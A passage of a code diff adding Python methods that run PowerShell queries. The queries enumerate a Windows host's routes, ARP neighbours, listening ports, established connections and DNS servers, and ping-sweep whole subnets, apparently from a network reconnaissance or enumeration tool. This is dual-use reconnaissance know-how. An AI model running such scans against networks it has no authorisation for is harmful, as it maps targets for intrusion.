if '.' in addr and '/' in addr:
|
|
448
|
+
cidrs.append(addr)
|
|
449
|
+
return {i: " ".join(a) for i, a in grouped.items()}, cidrs
|
|
450
|
+
|
|
451
|
+
def _win_routes(self) -> dict[str, str]:
|
|
452
|
+
raw = self._win_query(
|
|
453
|
+
"&{"
|
|
454
|
+
"(Get-NetRoute -AddressFamily IPv4 -EA SilentlyContinue|"
|
|
455
|
+
"Where-Object{$_.NextHop -ne '0.0.0.0'}|"
|
|
456
|
+
"Sort-Object DestinationPrefix|"
|
|
457
|
+
"ForEach-Object{"
|
|
458
|
+
f"$_.DestinationPrefix+'{self.FIELD_SEP}'+'via '+$_.NextHop+' iface='+$_.InterfaceAlias"
|
|
459
|
+
f"}})-join '{self.REC_SEP}'"
|
|
460
|
+
"}",
|
|
461
|
+
timeout=TIMEOUTS["exec_query"],
|
|
462
|
+
)
|
|
463
|
+
box: dict[str, str] = {}
|
|
464
|
+
for entry in raw.split(self.REC_SEP):
|
|
465
|
+
entry = entry.strip()
|
|
466
|
+
if self.FIELD_SEP not in entry:
|
|
467
|
+
continue
|
|
468
|
+
dest, detail = entry.split(self.FIELD_SEP, 1)
|
|
469
|
+
if dest.strip():
|
|
470
|
+
box[dest.strip()] = detail.strip()
|
|
471
|
+
return box
|
|
472
|
+
|
|
473
|
+
def _win_neighbors(self) -> dict[str, str]:
|
|
474
|
+
raw = self._win_query(
|
|
475
|
+
"&{"
|
|
476
|
+
"(Get-NetNeighbor -EA SilentlyContinue|"
|
|
477
|
+
"Where-Object{$_.State -ne 'Unreachable' -and $_.State -ne 'Permanent'"
|
|
478
|
+
" -and $_.IPAddress -notlike 'ff0*' -and $_.IPAddress -notlike '224.*'}|"
|
|
479
|
+
"ForEach-Object{"
|
|
480
|
+
f"$_.IPAddress+'{self.FIELD_SEP}'+$_.LinkLayerAddress+"
|
|
481
|
+
f"'{self.FIELD_SEP}'+$_.State+'{self.FIELD_SEP}'+$_.InterfaceAlias"
|
|
482
|
+
f"}})-join '{self.REC_SEP}'"
|
|
483
|
+
"}",
|
|
484
|
+
timeout=TIMEOUTS["exec_query"],
|
|
485
|
+
)
|
|
486
|
+
box: dict[str, str] = {}
|
|
487
|
+
for entry in raw.split(self.REC_SEP):
|
|
488
|
+
entry = entry.strip()
|
|
489
|
+
parts = entry.split(self.FIELD_SEP)
|
|
490
|
+
if len(parts) < 4:
|
|
491
|
+
continue
|
|
492
|
+
ip, mac, state, iface = [p.strip() for p in parts[:4]]
|
|
493
|
+
if ip and mac:
|
|
494
|
+
box[ip] = f"{mac} [{state}] iface={iface}"
|
|
495
|
+
return box
|
|
496
|
+
|
|
497
|
+
def _win_listening(self) -> dict[str, str]:
|
|
498
|
+
raw = self._win_query(
|
|
499
|
+
"&{"
|
|
500
|
+
"$c=Get-NetTCPConnection -State Listen -EA SilentlyContinue;"
|
|
501
|
+
"if(!$c){return};"
|
|
502
|
+
"$pids=@($c|ForEach-Object{[int]$_.OwningProcess}|Sort-Object -Unique);"
|
|
503
|
+
"$pm=@{};"
|
|
504
|
+
"Get-Process -Id $pids -EA SilentlyContinue|"
|
|
505
|
+
"ForEach-Object{$pm[$_.Id]=$_.ProcessName};"
|
|
506
|
+
"($c|ForEach-Object{"
|
|
507
|
+
f"$_.LocalAddress+':'+$_.LocalPort+'{self.FIELD_SEP}'+"
|
|
508
|
+
f"$pm[[int]$_.OwningProcess]+'{self.FIELD_SEP}'+$_.OwningProcess"
|
|
509
|
+
f"}})-join '{self.REC_SEP}'"
|
|
510
|
+
"}",
|
|
511
|
+
timeout=TIMEOUTS["exec_query"],
|
|
512
|
+
)
|
|
513
|
+
box: dict[str, str] = {}
|
|
514
|
+
for entry in raw.split(self.REC_SEP):
|
|
515
|
+
entry = entry.strip()
|
|
516
|
+
parts = entry.split(self.FIELD_SEP)
|
|
517
|
+
if len(parts) < 3:
|
|
518
|
+
continue
|
|
519
|
+
addr, proc, pid = [p.strip() for p in parts[:3]]
|
|
520
|
+
if addr:
|
|
521
|
+
box[addr] = f"{proc} pid={pid}" if proc else f"pid={pid}"
|
|
522
|
+
return box
|
|
523
|
+
|
|
524
|
+
def _win_connections(self) -> dict[str, str]:
|
|
525
|
+
raw = self._win_query(
|
|
526
|
+
"&{"
|
|
527
|
+
"$c=Get-NetTCPConnection -State Established -EA SilentlyContinue;"
|
|
528
|
+
"if(!$c){return};"
|
|
529
|
+
"$pids=@($c|ForEach-Object{[int]$_.OwningProcess}|Sort-Object -Unique);"
|
|
530
|
+
"$pm=@{};"
|
|
531
|
+
"Get-Process -Id $pids -EA SilentlyContinue|"
|
|
532
|
+
"ForEach-Object{$pm[$_.Id]=$_.ProcessName};"
|
|
533
|
+
"($c|ForEach-Object{"
|
|
534
|
+
"$_.LocalAddress+':'+$_.LocalPort+' -> '+"
|
|
535
|
+
f"$_.RemoteAddress+':'+$_.RemotePort+'{self.FIELD_SEP}'+"
|
|
536
|
+
f"$pm[[int]$_.OwningProcess]+'{self.FIELD_SEP}'+$_.OwningProcess"
|
|
537
|
+
f"}})-join '{self.REC_SEP}'"
|
|
538
|
+
"}",
|
|
539
|
+
timeout=TIMEOUTS["exec_query"],
|
|
540
|
+
)
|
|
541
|
+
box: dict[str, str] = {}
|
|
542
|
+
for entry in raw.split(self.REC_SEP):
|
|
543
|
+
entry = entry.strip()
|
|
544
|
+
parts = entry.split(self.FIELD_SEP)
|
|
545
|
+
if len(parts) < 3:
|
|
546
|
+
continue
|
|
547
|
+
addr, proc, pid = [p.strip() for p in parts[:3]]
|
|
548
|
+
if addr:
|
|
549
|
+
box[addr] = f"{proc} pid={pid}" if proc else f"pid={pid}"
|
|
550
|
+
return box
|
|
551
|
+
|
|
552
|
+
def _win_dns(self) -> dict[str, str]:
|
|
553
|
+
raw = self._win_query(
|
|
554
|
+
"&{"
|
|
555
|
+
"(Get-DnsClientServerAddress -AddressFamily IPv4 -EA SilentlyContinue|"
|
|
556
|
+
"Where-Object{$_.ServerAddresses}|"
|
|
557
|
+
"ForEach-Object{"
|
|
558
|
+
f"$_.InterfaceAlias+'{self.FIELD_SEP}'+($_.ServerAddresses -join ', ')"
|
|
559
|
+
f"}})-join '{self.REC_SEP}'"
|
|
560
|
+
"}",
|
|
561
|
+
timeout=TIMEOUTS["exec_query"],
|
|
562
|
+
)
|
|
563
|
+
box: dict[str, str] = {}
|
|
564
|
+
for entry in raw.split(self.REC_SEP):
|
|
565
|
+
entry = entry.strip()
|
|
566
|
+
if self.FIELD_SEP not in entry:
|
|
567
|
+
continue
|
|
568
|
+
iface, servers = entry.split(self.FIELD_SEP, 1)
|
|
569
|
+
if iface.strip() and servers.strip():
|
|
570
|
+
box[iface.strip()] = servers.strip()
|
|
571
|
+
return box
|
|
572
|
+
|
|
573
|
+
def _win_discover_hosts(
|
|
574
|
+
self, cidrs: list[str], subnet_override: str | None, t: int,
|
|
575
|
+
) -> None:
|
|
576
|
+
targets = [subnet_override] if subnet_override else cidrs
|
|
577
|
+
for cidr in targets:
|
|
578
|
+
net, prefix = self._cidr_to_network(cidr)
|
|
579
|
+
network = f"{net}/{prefix}"
|
|
580
|
+
host_count = max(2 ** (32 - prefix) - 2, 1)
|
|
581
|
+
self.status(f"Host discovery on {network} ({host_count} hosts)...")
|
|
582
|
+
if host_count > 2048:
|
|
583
|
+
self.warn(f"Large subnet ({host_count} hosts), skipping. Use -s to narrow.")
|
|
584
|
+
continue
|
|
585
|
+
|
|
586
|
+
net_int = self._ip_to_int(net)
|
|
587
|
+
ips = [
|
|
588
|
+
".".join(str(((net_int + i) >> s) & 0xFF) for s in (24, 16, 8, 0))
|
|
589
|
+
for i in range(1, host_count + 1)
|
|
590
|
+
]
|
|
591
|
+
ps_array = ",".join(f"'{ip}'" for ip in ips)
|
|
592
|
+
timeout_ms = t * 1000
|
|
593
|
+
|
|
594
|
+
with self.spinner(f"Ping sweeping {network} ({host_count} hosts)..."):
|
|
595
|
+
raw = self._win_query(
|
|
596
|
+
"&{"
|
|
597
|
+
f"$ips=@({ps_array});"
|
|
598
|
+
"$tasks=@($ips|ForEach-Object{"
|
|
599
|
+
f"[Net.NetworkInformation.Ping]::new().SendPingAsync($_,{timeout_ms})"
|
|
600
|
+
"});"
|
|
601
|
+
"[Threading.Tasks.Task]::WaitAll($tasks);"
|
|
602
|
+
"($tasks|Where-Object{$_.Result.Status -eq 'Success'}|"
|
|
603
|
+
f"ForEach-Object{{$_.Result.Address.ToString()}})-join '{self.REC_SEP}'"
|
|
604
|
+
"}",
|
|
605
|
+
timeout=t * 3 + 30,
|
|
606
|
+
)
|
|
607
|
+
|
|
608
|
+
live: dict[str, str] = {}
|
|
609
|
+
for ip in raw.split(self.REC_SEP):
|
|
610
|
+
ip = ip.strip()
|
|
611
|
+
if re.match(r'^\d+\.\d+\.\d+\.\d+$', ip):
|
|
612
|
+
live[ip] = "ICMP reply"
|
|
613
|
+
|
|
614
|
+
if live:
|
|
615
|
+
self.box(
|
|
616
|
+
f"Live hosts {network} ({len(live)} up)",
|
|
617
|
+
dict(sorted(live.items())),
|
|
618
|
+
)
|
|
619
|
+
else:
|
|
620
|
+
self.warn(f"No live hosts found on {network}.")
|